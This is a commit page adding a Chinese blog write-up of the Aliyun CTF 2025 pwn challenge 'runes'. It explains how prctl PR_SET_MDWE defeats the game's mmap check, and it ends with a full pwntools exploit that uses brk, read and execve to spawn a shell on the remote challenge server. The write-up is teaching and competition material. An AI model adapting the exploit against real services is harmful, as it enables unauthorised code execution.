Skip to content

Commit 28c70e9

Browse files
committed
add aliyunctf2025
1 parent afccf2a commit 28c70e9

File tree

3 files changed

+143
-0
lines changed

3 files changed

+143
-0
lines changed

source/_posts/aliyunctf2025/runes.md

+143
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
---
2+
title: 第三届阿里云CTF - runes
3+
date: 2025/02/24 23:11:00
4+
updated: 2025/02/24 23:51:00
5+
tags:
6+
- syscall
7+
thumbnail: /assets/aliyunctf2025/banner.png
8+
---
9+
10+
> Show me your runes.
11+
>> hint:
12+
>> * No intended vulnerability in the bzImage/kernel, please exploit the
13+
>> userspace chal binary.
14+
>> * As the challenge's name implies, you need to focus on the `syscall`
15+
>> aka rune in this challenge. Find a way to **weaken the dark dragon's
16+
>> power** once your character becomes strong enough.
17+
>> * All syscall numbers(系统调用号) used in the intended solution are
18+
>> under 200 and relatively well used.
19+
20+
{% note green fa-heart %}
21+
本题由 *hkbin**haraniN* 和我一起合作解决!
22+
{% endnote %}
23+
24+
## 文件属性
25+
26+
|属性 ||
27+
|------|------|
28+
|Arch |amd64 |
29+
|RELRO |Full |
30+
|Canary|on |
31+
|NX |on |
32+
|PIE |on |
33+
|strip |yes |
34+
35+
## 解题思路
36+
37+
{% note blue fa-circle-info %}
38+
题目是运行在虚拟机中的,内存256M,内核版本6.6。
39+
{% endnote %}
40+
41+
`chal`实现了一个小游戏,基础等级是`1`,可以执行任意syscall,并且可以控制前三个参数,
42+
但是这3个参数必须小于`等级*100`。小游戏中可以升级,但是不可能超过7,
43+
而指针对应的无符号数非常大,看到如果打败dark dragon可以升级到`0x7ffffffffff`
44+
然后就可以输入指针了。为了打败dark dragon,需要把它的血量打到1,
45+
也就是需要让预期的`mmap`调用失败,如果成功,人物血量会直接归零。
46+
47+
{% folding blue::mmap了什么 %}
48+
程序向`memfd`中写入了一串shellcode,并通过`mmap`包含fd来将其映射到`rwx`内存中,
49+
随后执行,反汇编后结果是:
50+
51+
```x86asm
52+
mov rax,rdi
53+
sub QWORD PTR [rax],0x1337c0d3
54+
ret
55+
```
56+
57+
而输入的地址rdi是`&hp`,hp会直接降到0以下,并被随后的代码归零。
58+
{% endfolding %}
59+
60+
寻找符合条件的syscall,先筛掉所有包含指针的syscall,由于程序打开的 `memfd`
61+
被dup到了`1023`,而等级不可能在正常情况下大于10,因此也无法关闭 `memfd`
62+
如果使内存不足以分配0x1000大小的内存的话,也可以阻止mmap,但是256M实在难以企及,
63+
就算`fork`,增加的内存也是沧海一粟。最后选择了`prctl`,在Linux 6.3加入了`PR_SET_MDWE`
64+
开启这个[security bit](https://man7.org/linux/man-pages/man2/pr_set_mdwe.2const.html)
65+
后可以禁止mmap一段`?wx`的内存,并且不会影响到execve后的新程序。
66+
在因此设置后就能成功升级,实现任意syscall调用。
67+
68+
{% note blue fa-boxes-packing %}
69+
由于Arch Linux滚动更新的特性,我的内核保持最新,可以直接把`chal`拖出来在本地调试;
70+
而一些使用Ubuntu的小伙伴,由于内核老,是没有这个特性的,在本地只能盲调。
71+
{% endnote %}
72+
73+
剩下的问题是保护全开,没有泄露任何指针。可以通过`brk`调用申请堆内存,
74+
在上面写数据。由于sh链接到了busybox,因此还需要设置argv。最后
75+
`execve(“/bin/sh", {“sh", NULL}, NULL)` 拿shell。
76+
77+
{% note green fa-lightbulb %}
78+
[官方wp](https://xz.aliyun.com/news/17029)中使用了`shmget + shmat`来申请一片内存。
79+
{% endnote %}
80+
81+
## EXPLOIT
82+
83+
```python
84+
from pwn import *
85+
from pwnlib.constants.linux.amd64 import __NR_prctl, __NR_alarm, __NR_brk, __NR_read, __NR_execve
86+
context.terminal = ['tmux','splitw','-h']
87+
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
88+
EXE = './chal'
89+
SYS = constants
90+
91+
def payload(lo: int):
92+
global sh
93+
if lo:
94+
sh = process(EXE)
95+
if lo & 2:
96+
gdb.attach(sh)
97+
else:
98+
sh = remote('121.41.238.106', 42898)
99+
100+
def init_name(name: str):
101+
info('Waiting for vm to boot')
102+
sh.sendlineafter(b'tell me your name', name.encode())
103+
info(f'Script by {name}')
104+
105+
def attack_dragon(rax: int, rdi: int=0, rsi: int=0, rdx: int=0, tosend: bytes=None) -> int:
106+
sh.sendlineafter(b'Your Journey Continues', b'2')
107+
sh.sendlineafter(b'Invoke the Forbidden Runes', b'3')
108+
sh.sendlineafter(b'60 3 3 3', f"{int(rax)} {int(rdi)} {int(rsi)} {int(rdx)}".encode())
109+
if tosend:
110+
sleep(0.125)
111+
sh.send(tosend)
112+
if rax == __NR_execve:
113+
return
114+
sh.recvuntil(b'force answers:')
115+
sysret = int(sh.recvline())
116+
sh.sendlineafter(b'Impossible', b'1')
117+
return sysret
118+
119+
init_name('hkbin & Rocket & haraniN')
120+
attack_dragon(__NR_prctl, 65, 1) # PR_SET_MDWE; PR_MDWE_REFUSE_EXEC_GAIN
121+
attack_dragon(__NR_alarm, 0) # reset alarm timer
122+
brk = attack_dragon(__NR_brk, 0) # initial brk
123+
success(GOLD_TEXT(f"Get brk: {brk:#x}, try to extend 0x1000"))
124+
brk_top = attack_dragon(__NR_brk, brk + 0x1000)
125+
assert brk_top == brk + 0x1000, "failed to extend brk"
126+
sent = attack_dragon(__NR_read, 0, brk, 16, b'/bin/sh\0' + p64(brk + 5) + b'\n') # "/bin/sh" "sh" NULL
127+
assert sent == 16, "failed to send /bin/sh"
128+
info('Now try to open the shell')
129+
attack_dragon(__NR_execve, brk, brk + 8, 0) # execve("/bin/sh", {"sh", NULL}, NULL)
130+
131+
sh.clean()
132+
sh.interactive()
133+
sh.close()
134+
```
135+
136+
{% note default fa-flag %}
137+
![flag](/assets/aliyunctf2025/runes.png)
138+
{% endnote %}
139+
140+
## 参考
141+
142+
1. [PR_SET_MDWE(2const) — Linux manual page](https://man7.org/linux/man-pages/man2/pr_set_mdwe.2const.html)
143+
2. [第三届阿里云CTF官方Writeup](https://xz.aliyun.com/news/17029)
61.9 KB
Loading

source/assets/aliyunctf2025/runes.png

90.8 KB
Loading

0 commit comments

Comments
 (0)